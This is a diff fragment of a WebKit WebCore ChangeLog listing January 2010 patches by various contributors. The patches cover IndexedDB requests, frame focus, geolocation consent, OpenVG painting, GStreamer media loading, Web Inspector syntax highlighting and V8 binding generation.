+        * storage/IDBDatabaseException.idl: Added.
+        * storage/IDBRequest.cpp: Added.
+        (WebCore::IDBRequest::IDBRequest):
+        (WebCore::IDBRequest::~IDBRequest):
+        (WebCore::IDBRequest::abort):
+        (WebCore::IDBRequest::eventTargetData):
+        (WebCore::IDBRequest::ensureEventTargetData):
+        * storage/IDBRequest.h: Added.
+        (WebCore::IDBRequest::create):
+        (WebCore::IDBRequest::readyState):
+        (WebCore::IDBRequest::error):
+        (WebCore::IDBRequest::result):
+        (WebCore::IDBRequest::scriptExecutionContext):
+        (WebCore::IDBRequest::toIDBRequest):
+        (WebCore::IDBRequest::refEventTarget):
+        (WebCore::IDBRequest::derefEventTarget):
+        * storage/IDBRequest.idl: Added.
+        * storage/IndexedDatabaseRequest.cpp: Added.
+        (WebCore::IndexedDatabaseRequest::IndexedDatabaseRequest):
+        (WebCore::IndexedDatabaseRequest::~IndexedDatabaseRequest):
+        (WebCore::IndexedDatabaseRequest::open):
+        * storage/IndexedDatabaseRequest.h: Added.
+        (WebCore::IndexedDatabaseRequest::create):
+        (WebCore::IndexedDatabaseRequest::request):
+        * storage/IndexedDatabaseRequest.idl: Added.
+
+2010-01-29  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Drag and Drop: Windows uses "stop" sign as cursor when dragging
+        https://bugs.webkit.org/show_bug.cgi?id=34305
+        <rdar://problem/7589672>
+
+        Add a FIXME for the code that needs to be changed to support full
+        custom cursors.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleDrag):
+
+2010-01-29  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by darin@apple.com.
+
+        Fix the issue that both main frome and iframe are
+        focused if window.onblur calls window.focus.
+        https://bugs.webkit.org/show_bug.cgi?id=31692
+
+        The problem is caused by the focused frame in FocusController
+        is messed up if window.onblur calls window.focus:
+        When user clicks iframe to switch focus from main frame to iframe,
+        FocusController::setFocusedFrame fires onblur event, which calls
+        window.focus and then calls setFocusedFrame again to switch back.
+        This messes up the old focused frame and new focused frame and
+        leaves the FocusController confused. As a result, controlls
+        in both main frame and iframe look like get focused.
+
+        To fix it, add a flag to FocusController and do no switch the focused
+        frame when FocusController is in the middle of changing the focused frame. 
+
+        Test: fast/events/change-frame-focus.html
+
+        * page/FocusController.cpp:
+        (WebCore::FocusController::FocusController):
+        (WebCore::FocusController::setFocusedFrame):
+        * page/FocusController.h:
+        (WebCore::FocusController::focusedFrame):
+        (WebCore::FocusController::isActive):
+        (WebCore::FocusController::isFocused):
+
+2010-01-29  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7441982> REGRESSION (TOT): Adobe CS4: Installer alerts are displayed as
+        blank windows
+
+        We probably shouldn't be deferring loads below modal dialogs and alerts, because that's not
+        what being modal means. But making such a change for general Web content would require fixes
+        in other parts of code, which I'm not ready to implement right now, so making it application
+        specific.
+
+        * page/Page.cpp: (WebCore::Page::setDefersLoading): Do nothing if load deferring is not
+        enabled in page settings.
+
+        * WebCore.base.exp:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setLoadDeferringEnabled):
+        * page/Settings.h: (WebCore::Settings::loadDeferringEnabled):
+        Add the ability for client to disable page deferring (still enabled by default).
+
+        * platform/mac/RuntimeApplicationChecks.h:
+        * platform/mac/RuntimeApplicationChecks.mm: (WebCore::applicationIsAdobeInstaller):
+        Added a bundle ID test for Adobe installer.
+
+2010-01-29  Steve Falkenburg  <sfalken@apple.com>
+
+        Build fix.
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::startUpdating):
+
+2010-01-29  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Client-based Geolocation starts updating before getting consent from the user
+        https://bugs.webkit.org/show_bug.cgi?id=34343
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::startRequest): Pass notifier instead of options to startUpdating.
+        (WebCore::Geolocation::setIsAllowed): Add the observer or notify of error for deferred startUpdating.
+        (WebCore::Geolocation::startUpdating): Pass notifier instead of options, since we may need to call it if we fail to get user consent.
+        Defer adding the observer if we don't yet have user consent, since this could kick off
+        server-based wifi Geolocation requests.
+        * page/Geolocation.h:
+
+2010-01-28  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: Crash when posting a notification for a detached object
+
+        https://bugs.webkit.org/show_bug.cgi?id=34309
+        <rdar://problem/7409759>
+
+        Reviewed by Darin Adler.
+
+        Test: platform/win/accessibility/detached-object-notification-crash.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::document):
+        Null check m_renderer. This is the bug fix; the other changes in the
+        patch are for the test.
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        Map AXValueChanged to EVENT_OBJECT_VALUECHANGED, so we'll post a
+        notification when AXValueChanged is posted. Receiving an event of this
+        type tells us that the test passed.
+
+2010-01-29  Darin Fisher  <darin@chromium.org>
+
+        Okayed by Oliver Hunt.
+
+        Rollout r53949, r53951 and r54013 due to a Chromium regression that it
+        causes.  Somehow this code change is triggering an endless repaint loop.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33808
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::drawTiledImage):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/transforms/TransformationMatrix.h:
+        (WebCore::TransformationMatrix::isIdentityOrTranslation):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::~RenderBoxModelObject):
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderBoxModelObject.h:
+
+2010-01-29  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add gdb helper methods for Ranges like we have for VisibleSelections.
+        https://bugs.webkit.org/show_bug.cgi?id=34308
+
+        No new tests, these are only for debugging.
+
+        * dom/Position.cpp:
+        (WebCore::Position::showTreeForThis):
+        * dom/Range.cpp:
+        (showTree):
+        * dom/Range.h:
+
+2010-01-29  Drew Wilson  <atwilson@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        V8 implementation of MessageEvent.initMessageEvent() does not set source correctly.
+        https://bugs.webkit.org/show_bug.cgi?id=34292
+
+        Test: fast/events/init-events.html will pass in Chrome now.
+
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::V8MessageEvent::initMessageEventCallback):
+        Now properly extracts the reference to the DOMWindow object from the passed-in window parameter.
+
+2010-01-29  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Android] Android needs functionality in the ChromeClient to be informed when touch events are and are not needed by the webpage.
+        https://bugs.webkit.org/show_bug.cgi?id=34215
+
+        Add a function on the ChromeClient that WebCore can use to inform the platform when it needs touch events. This way the platform can optimise by not forwarding the events if they are not required.
+
+        No new tests as the only implementation is specific to Android.
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach): Check if this is the top level document and if so, stop forwarding touch events.
+        (WebCore::Document::addListenerTypeIfNeeded): Inform the ChromeClient it should start forwarding touch events and guard touch event code properly.
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore): If the document uses touch events, inform the ChromeClient to start forwarding them.
+        (WebCore::CachedFrame::CachedFrame): If the document uses touch events, inform the ChromeClient to stop forwarding them, as the document is being put into the page cache.
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::needTouchEvents): Add an empty implementation.
+        * page/ChromeClient.h: Add the needTouchEvents() function.
+
+2010-01-29  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix toolbar gradient to match the window's titlebar on Snow Leopard
+        https://bugs.webkit.org/show_bug.cgi?id=34320
+
+        * inspector/front-end/inspector.css:
+
+2010-01-29  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix MacOS X version detection
+
+        MacOS X version can have 2 or 3 segments.
+        https://bugs.webkit.org/show_bug.cgi?id=34322
+
+        * inspector/front-end/inspector.js:
+        (WebInspector._detectPlatform):
+
+2010-01-29  Jakob Petsovits  <jpetsovits@rim.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        [OpenVG] Implement a basic GraphicsContext on top of a new PainterOpenVG class
+        https://bugs.webkit.org/show_bug.cgi?id=33405
+
+        PainterOpenVG provides painter state management that works
+        on a single (EGL) context, and apart from painter state
+        implements a single drawing operation (for now), drawRect().
+
+        It is a generic painter class that cooperates with
+        SurfaceOpenVG to enable robust surface/context switching
+        (given that EGL doesn't notify us if somebody switches
+        the surface/context behind our backs), and provides
+        painting operations close to OpenVG's way of working
+        that GraphicsContext, Path, Image, Font and other WebKit
+        platform classes can use to draw on.
+
+        Initial code for state management and OpenVG scissoring by
+        Eli Fidler <efidler@rim.com>. VGRect/VGMatrix and the bulk
+        of the transformations code by Adam Treat <atreat@rim.com>.
+        Preliminary drawFocusRing() implementation by Yong Li <yoli@rim.com>.
+
+        * platform/graphics/FloatRect.h:
+        * platform/graphics/GraphicsContext.cpp:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/openvg/GraphicsContextOpenVG.cpp: Added.
+        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContext::GraphicsContext):
+        (WebCore::GraphicsContext::~GraphicsContext):
+        (WebCore::GraphicsContext::platformContext):
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::savePlatformState):
+        (WebCore::GraphicsContext::restorePlatformState):
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::drawEllipse):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::beginPath):
+        (WebCore::GraphicsContext::addPath):
+        (WebCore::GraphicsContext::clip):
+        (WebCore::GraphicsContext::clipPath):
+        (WebCore::GraphicsContext::drawFocusRing):
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::drawLineForMisspellingOrBadGrammar):
+        (WebCore::GraphicsContext::roundToDevicePixels):
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::clearPlatformShadow):
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        (WebCore::GraphicsContext::endTransparencyLayer):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::strokeRect):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineDash):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::GraphicsContext::setMiterLimit):
+        (WebCore::GraphicsContext::setAlpha):
+        (WebCore::GraphicsContext::setCompositeOperation):
+        (WebCore::GraphicsContext::canvasClip):
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::scale):
+        (WebCore::GraphicsContext::rotate):
+        (WebCore::GraphicsContext::translate):
+        (WebCore::GraphicsContext::origin):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        (WebCore::GraphicsContext::clipToImageBuffer):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::setURLForRect):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformStrokeStyle):
+        (WebCore::GraphicsContext::setPlatformStrokeThickness):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+        (WebCore::GraphicsContext::setPlatformShouldAntialias):
+        (WebCore::GraphicsContext::setImageInterpolationQuality):
+        (WebCore::GraphicsContext::imageInterpolationQuality):
+        * platform/graphics/openvg/PainterOpenVG.cpp: Added.
+        (WebCore::isNonRotatedAffineTransformation):
+        (WebCore::toVGCapStyle):
+        (WebCore::toVGJoinStyle):
+        (WebCore::toVGFillRule):
+        (WebCore::colorToVGColor):
+        (WebCore::setVGSolidColor):
+        (WebCore::PlatformPainterState::PlatformPainterState):
+        (WebCore::PlatformPainterState::copyPaintState):
+        (WebCore::PlatformPainterState::applyState):
+        (WebCore::PlatformPainterState::applyBlending):
+        (WebCore::PlatformPainterState::applyTransformationMatrix):
+        (WebCore::PlatformPainterState::applyScissorRect):
+        (WebCore::PlatformPainterState::applyStrokeStyle):
+        (WebCore::PlatformPainterState::strokeDisabled):
+        (WebCore::PlatformPainterState::fillDisabled):
+        (WebCore::PainterOpenVG::PainterOpenVG):
+        (WebCore::PainterOpenVG::~PainterOpenVG):
+        (WebCore::PainterOpenVG::begin):
+        (WebCore::PainterOpenVG::end):
+        (WebCore::PainterOpenVG::destroyPainterStates):
+        (WebCore::PainterOpenVG::applyState):
+        (WebCore::PainterOpenVG::blitToSurface):
+        (WebCore::PainterOpenVG::transformationMatrix):
+        (WebCore::PainterOpenVG::concatTransformationMatrix):
+        (WebCore::PainterOpenVG::setTransformationMatrix):
+        (WebCore::PainterOpenVG::compositeOperation):
+        (WebCore::PainterOpenVG::setCompositeOperation):
+        (WebCore::PainterOpenVG::opacity):
+        (WebCore::PainterOpenVG::setOpacity):
+        (WebCore::PainterOpenVG::strokeThickness):
+        (WebCore::PainterOpenVG::setStrokeThickness):
+        (WebCore::PainterOpenVG::strokeStyle):
+        (WebCore::PainterOpenVG::setStrokeStyle):
+        (WebCore::PainterOpenVG::setLineDash):
+        (WebCore::PainterOpenVG::setLineCap):
+        (WebCore::PainterOpenVG::setLineJoin):
+        (WebCore::PainterOpenVG::setMiterLimit):
+        (WebCore::PainterOpenVG::strokeColor):
+        (WebCore::PainterOpenVG::setStrokeColor):
+        (WebCore::PainterOpenVG::fillColor):
+        (WebCore::PainterOpenVG::setFillColor):
+        (WebCore::PainterOpenVG::antialiasingEnabled):
+        (WebCore::PainterOpenVG::setAntialiasingEnabled):
+        (WebCore::PainterOpenVG::scale):
+        (WebCore::PainterOpenVG::rotate):
+        (WebCore::PainterOpenVG::translate):
+        (WebCore::PainterOpenVG::intersectScissorRect):
+        (WebCore::PainterOpenVG::intersectClipRect):
+        (WebCore::PainterOpenVG::drawRect):
+        (WebCore::PainterOpenVG::save):
+        (WebCore::PainterOpenVG::restore):
+        * platform/graphics/openvg/PainterOpenVG.h: Added.
+        (WebCore::PainterOpenVG::):
+        (WebCore::PainterOpenVG::surface):
+        * platform/graphics/openvg/SurfaceOpenVG.cpp:
+        (WebCore::SurfaceOpenVG::SurfaceOpenVG):
+        (WebCore::SurfaceOpenVG::~SurfaceOpenVG):
+        (WebCore::SurfaceOpenVG::makeCurrent):
+        (WebCore::SurfaceOpenVG::makeCompatibleCurrent):
+        (WebCore::SurfaceOpenVG::setActivePainter):
+        (WebCore::SurfaceOpenVG::activePainter):
+        * platform/graphics/openvg/SurfaceOpenVG.h:
+        (WebCore::SurfaceOpenVG::):
+        * platform/graphics/openvg/VGUtils.cpp: Added.
+        (WebCore::VGMatrix::VGMatrix):
+        (WebCore::VGMatrix::operator TransformationMatrix):
+        (WebCore::TransformationMatrix::operator VGMatrix):
+        (WebCore::VGRect::VGRect):
+        (WebCore::VGRect::operator FloatRect):
+        (WebCore::FloatRect::operator VGRect):
+        * platform/graphics/openvg/VGUtils.h:
+        (WebCore::VGMatrix::toVGfloat):
+        (WebCore::VGRect::toVGfloat):
+        * platform/graphics/transforms/TransformationMatrix.h:
+
+2010-01-29  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Vimeo HTML5 player doesn't work
+        https://bugs.webkit.org/show_bug.cgi?id=34327
+
+        Send Referer when requesting media over HTTP.
+
+        Test: http/tests/media/video-referer.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+
+2010-01-29  Oswald Buddenhagen <oswald.buddenhagen@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Speed up the WebCore::String -> QString conversion
+
+        Use QString(const QChar *, int len) constructor instead of QString::fromUtf16 to
+        avoid BOM checks and byteswapping.
+
+        * bridge/qt/qt_class.cpp:
+        (JSC::Bindings::QtClass::fieldNamed):
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
+
+2010-01-29  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Source view displays text using wrong fonts
+        https://bugs.webkit.org/show_bug.cgi?id=34269
+
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype._initFont):
+        * inspector/front-end/inspector.js:
+
+2010-01-29  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Apple trailers don't play anymore
+        https://bugs.webkit.org/show_bug.cgi?id=34316
+
+        Fake QuickTime when accessing movie trailers.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+
+2010-01-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: migrate to tokenizer-based highlighting in the Elements panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34273
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/CSSSourceSyntaxHighlighter.js: Removed.
+        * inspector/front-end/DOMSyntaxHighlighter.js: Added.
+        (WebInspector.DOMSyntaxHighlighter):
+        (WebInspector.DOMSyntaxHighlighter.prototype.createSpan):
+        (WebInspector.DOMSyntaxHighlighter.prototype.syntaxHighlightNode):
+        * inspector/front-end/ElementsTreeOutline.js:
+        * inspector/front-end/JavaScriptSourceSyntaxHighlighter.js: Removed.
+        * inspector/front-end/SourceCSSTokenizer.js:
+        (WebInspector.SourceCSSTokenizer):
+        (WebInspector.SourceCSSTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceCSSTokenizer.re2js:
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
+        * inspector/front-end/SourceJavaScriptTokenizer.js:
+        (WebInspector.SourceJavaScriptTokenizer):
+        (WebInspector.SourceJavaScriptTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceJavaScriptTokenizer.re2js:
+        * inspector/front-end/SourceSyntaxHighlighter.js: Removed.
+        * inspector/front-end/SourceTokenizer.js: Added.
+        (WebInspector.SourceTokenizer):
+        (WebInspector.SourceTokenizer.prototype.set line):
+        (WebInspector.SourceTokenizer.prototype.set condition):
+        (WebInspector.SourceTokenizer.prototype.get condition):
+        (WebInspector.SourceTokenizer.prototype.hasCondition):
+        (WebInspector.SourceTokenizer.prototype.getLexCondition):
+        (WebInspector.SourceTokenizer.prototype.setLexCondition):
+        (WebInspector.SourceTokenizer.prototype._charAt):
+        (WebInspector.SourceTokenizer.Registry):
+        (WebInspector.SourceTokenizer.Registry.getInstance):
+        (WebInspector.SourceTokenizer.Registry.prototype.getTokenizer):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.set mimeType):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2010-01-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: No need to render background sources
+        when performing search.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34263
+
+        * inspector/front-end/ScriptView.js:
+        (WebInspector.ScriptView):
+        (WebInspector.ScriptView.prototype.show):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame):
+        (WebInspector.SourceFrame.prototype.set visible):
+        (WebInspector.SourceFrame.prototype.set executionLine):
+        (WebInspector.SourceFrame.prototype.revealLine):
+        (WebInspector.SourceFrame.prototype.clearMessages):
+        (WebInspector.SourceFrame.prototype.sizeToFitContentHeight):
+        (WebInspector.SourceFrame.prototype.setContent):
+        (WebInspector.SourceFrame.prototype._createEditorIfNeeded):
+        (WebInspector.SourceFrame.prototype.setSelection):
+        (WebInspector.SourceFrame.prototype.clearSelection):
+        (WebInspector.SourceFrame.prototype._contextMenu.addConditionalBreakpoint):
+        (WebInspector.SourceFrame.prototype._contextMenu):
+        (WebInspector.SourceFrame.prototype._toggleBreakpoint):
+        (WebInspector.SourceFrame.prototype.resize):
+        (WebInspector.BreakpointLineNumberDecorator):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView):
+        (WebInspector.SourceView.prototype.show):
+        (WebInspector.SourceView.prototype.hide):
+        (WebInspector.SourceView.prototype.resize):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        * inspector/front-end/TextEditorModel.js:
+        (WebInspector.TextEditorModel):
+        (WebInspector.TextEditorModel.prototype.set changeListener):
+        (WebInspector.TextEditorModel.prototype.setText):
+
+2010-01-29  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Remove ScriptState::frame which is only used for reporting exceptions
+        in some cases in a way that diverges from the regular exception reporting in
+        v8 bindings.
+
+        Cache ScriptState directly on v8::Context instead of providing
+        implementations specific for isolated worlds and ScriptController.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34266
+
+        * bindings/js/ScriptController.cpp:
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptState.cpp:
+        (WebCore::mainWorldScriptState):
+        * bindings/js/ScriptState.h:
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+        (WebCore::ScriptController::clearWindowShell):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptScope.cpp:
+        (WebCore::ScriptScope::ScriptScope):
+        (WebCore::ScriptScope::success):
+        * bindings/v8/ScriptScope.h:
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::ScriptState::forContext):
+        (WebCore::ScriptState::current):
+        (WebCore::ScriptState::weakReferenceCallback):
+        (WebCore::mainWorldScriptState):
+        (WebCore::scriptStateFromPage):
+        * bindings/v8/ScriptState.h:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::EmptyScriptState::EmptyScriptState):
+        (WebCore::EmptyScriptState::~EmptyScriptState):
+        * bindings/v8/V8HiddenPropertyName.h:
+        * bindings/v8/V8IsolatedContext.cpp:
+        * bindings/v8/V8IsolatedContext.h:
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::getScriptExecutionContext):
+        (WebCore::reportException):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::V8NodeIterator::nextNodeCallback):
+        (WebCore::V8NodeIterator::previousNodeCallback):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::V8TreeWalker::parentNodeCallback):
+        (WebCore::V8TreeWalker::firstChildCallback):
+        (WebCore::V8TreeWalker::lastChildCallback):
+        (WebCore::V8TreeWalker::nextNodeCallback):
+        (WebCore::V8TreeWalker::previousNodeCallback):
+        (WebCore::V8TreeWalker::nextSiblingCallback):
+        (WebCore::V8TreeWalker::previousSiblingCallback):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::injectedScriptForNodeId):
+
+2010-01-29  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add FrameLoaderClient::allowImages method to allow the client to
+        overrule image loading policy on a per frame basis.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34225
+
+        For completeness, this patch also adds Settings::areImagesEnabled.
+        This is different from loadsImagesAutomatically as is explained in
+        Settings.h.
+
+        * loader/DocLoader.cpp:
+        (WebCore::DocLoader::requestImage):
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::allowImages):
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageTokenizer::writeRawData):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setImagesEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::areImagesEnabled):
+
+2010-01-28  Nicholas Young  <nicholas.young@nokia.com>
+
+        Reviewed by Eric Carlson.
+
+        Prefer provided video element width/height properties to hard coded
+        defaults for intrinsic size when natural video size is unavailable.
+        https://bugs.webkit.org/show_bug.cgi?id=34302
+
+        No new tests needed.
+
+        * rendering/RenderVideo.cpp: Attempt to use width/height properties
+        (WebCore::RenderVideo::RenderVideo):
+        * rendering/RenderVideo.h: More appropriate constructor signature
+
+2010-01-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        MessageEvent.data should not be repeated deserialised
+        https://bugs.webkit.org/show_bug.cgi?id=34311
+
+        Cache the result of deserialising the event data
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/MessageEvent.idl:
+
+2010-01-28  Hayato Ito  <hayato@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Change CSS 'page-break-inside' property from inherited one to non-inherited one because CSS specification defines so.
+
+        Note: Currently, the 'page-break-inside' property is used only when parsing the CSS. That property is not used when rendering.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34195
+
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::NonInheritedFlags::operator==):
+        (WebCore::InheritedFlags::setBitDefaults):
+        (WebCore::InheritedFlags::pageBreakInside):
+        (WebCore::InheritedFlags::setPageBreakInside):
+        * rendering/style/StyleInheritedData.cpp:
+        (WebCore::StyleInheritedData::StyleInheritedData):
+        (WebCore::StyleInheritedData::operator==):
+        * rendering/style/StyleInheritedData.h:
+
+2010-01-28  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        ApplicationCache events should be deferred until after Document onload has fired.
+        https://bugs.webkit.org/show_bug.cgi?id=29690
+
+        Test: http/tests/appcache/deferred-events.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::handledOnloadEvents):  Tells the ApplicationCacheHost to stop deferring events.
+        * loader/appcache/ApplicationCacheHost.cpp:
+        (WebCore::ApplicationCacheHost::ApplicationCacheHost): Initialize m_isDeferringEvents to true.
+        (WebCore::ApplicationCacheHost::notifyDOMApplicationCache): Depending, defer or raise the event.
+        (WebCore::ApplicationCacheHost::stopDeferringEvents): Raise any deferred events and reset the flag.
+        * loader/appcache/ApplicationCacheHost.h: Declare new data members and method.
+
+2010-01-28  Kavita Kanetkar  <kkanetkar@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Generate header declaration for custom constructor callbacks
+        https://bugs.webkit.org/show_bug.cgi?id=33680
+
+        Added handling of 'CanBeConstructed' and 'OmitConstructor' and a new extended attribute
+        CustomConstructor'.
+
+        Deleted implementation .cpp files for corresponding 'CanBeConstructed'
+        extended attributes. These are now generated via CodeGeneratorV8.pm
+        Treating 'OmitConstructor' and 'CustomConstructor' to be the same in
+        CodeGeneratorJS.pm
+        Cleaned idls that had 'CustomConstructor' and 'OmitConstructor' together, and
+        same with CustomConstructor and CanBeConstructed.
+
+        * Android.v8bindings.mk:
+        * WebCore.gypi: Removed deps for classes being generated.
+        * bindings/scripts/CodeGeneratorJS.pm: OmitConstructor and CustomConstructor have the same behavior in generator.
+        * bindings/scripts/CodeGeneratorV8.pm: Generating the callbacks for constructors.
+        * bindings/v8/V8DOMWrapper.cpp: Removed manual calls to SetCallHandler() for constructor callbacks.
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/custom/V8CustomBinding.h: Removed manual declarations of constructor callbacks.
+        * bindings/v8/custom/V8DOMParserConstructor.cpp:
+        * bindings/v8/custom/V8EventSourceConstructor.cpp:
+        (WebCore::V8EventSource::constructorCallback):
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::V8MessageChannel::constructorCallback):
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        (WebCore::V8SharedWorker::constructorCallback):
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        (WebCore::V8WebGLArrayBuffer::constructorCallback):
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        (WebCore::V8WebGLByteArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        (WebCore::V8WebGLFloatArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        (WebCore::V8WebGLIntArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        (WebCore::V8WebGLShortArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedByteArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedIntArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedShortArray::constructorCallback):
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        (WebCore::V8WebKitCSSMatrix::constructorCallback):
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
+        (WebCore::V8WebKitPoint::constructorCallback):
